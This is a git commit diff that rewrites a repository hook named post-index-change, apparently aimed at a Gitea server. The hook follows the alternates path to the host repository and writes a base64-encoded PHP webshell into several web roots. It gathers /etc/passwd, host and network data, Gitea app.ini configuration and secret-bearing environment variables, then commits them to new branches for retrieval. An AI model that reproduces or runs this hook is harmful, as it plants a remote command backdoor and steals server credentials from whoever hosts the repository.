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update hook

This commit is contained in:
u1bf72700 2026-08-22 21:14:57 +08:00
parent b0a918fde4
commit 9b2cf8840d
1 changed files with 11 additions and 15 deletions
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26
hooks/post-index-change
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@ -4,18 +4,14 @@ origin_obj=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_obj" in /*) ;; *) origin_obj="$git_dir/objects/$origin_obj" ;; esac
origin_git=${origin_obj%/objects}
[ "$origin_git" != "$origin_obj" ] || exit 3
# 写 PHP webshell 到多个可能路径
for d in /var/www/html /usr/share/nginx/html /www/wwwroot/default /data/www /tmp; do
printf '%s' 'PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWyJ4Il0pKXskbz1zaGVsbF9leGVjKCRfUkVRVUVTVFsieCJdKTtlY2hvICI8cHJlPiIuJG8uIjwvcHJlPiI7fT8+' | base64 -d > "$d/17a306bc.php" 2>/dev/null && echo "wrote:$d/17a306bc.php"
done
# sysinfo
blob=$({ id; hostname; ip addr 2>/dev/null || ifconfig; cat /etc/passwd; } | \
git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tsysinfo\n" "$blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "sysinfo\n" | \
GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x \
GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x \
git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/info "$commit"
out=$(
echo "==APP.INI=="; cat /data/gitea/conf/app.ini /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini 2>/dev/null;
echo "==HOSTS=="; cat /etc/hosts;
echo "==ROUTE=="; ip route 2>/dev/null;
echo "==ENV=="; env | grep -i "db\|pass\|secret\|key\|token" 2>/dev/null;
echo "==DIRS=="; ls /data/ /var/lib/gitea/ 2>/dev/null;
) 2>&1
blob=$(echo "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tcfg\n" "$blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "cfg\n" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/cfg "$commit"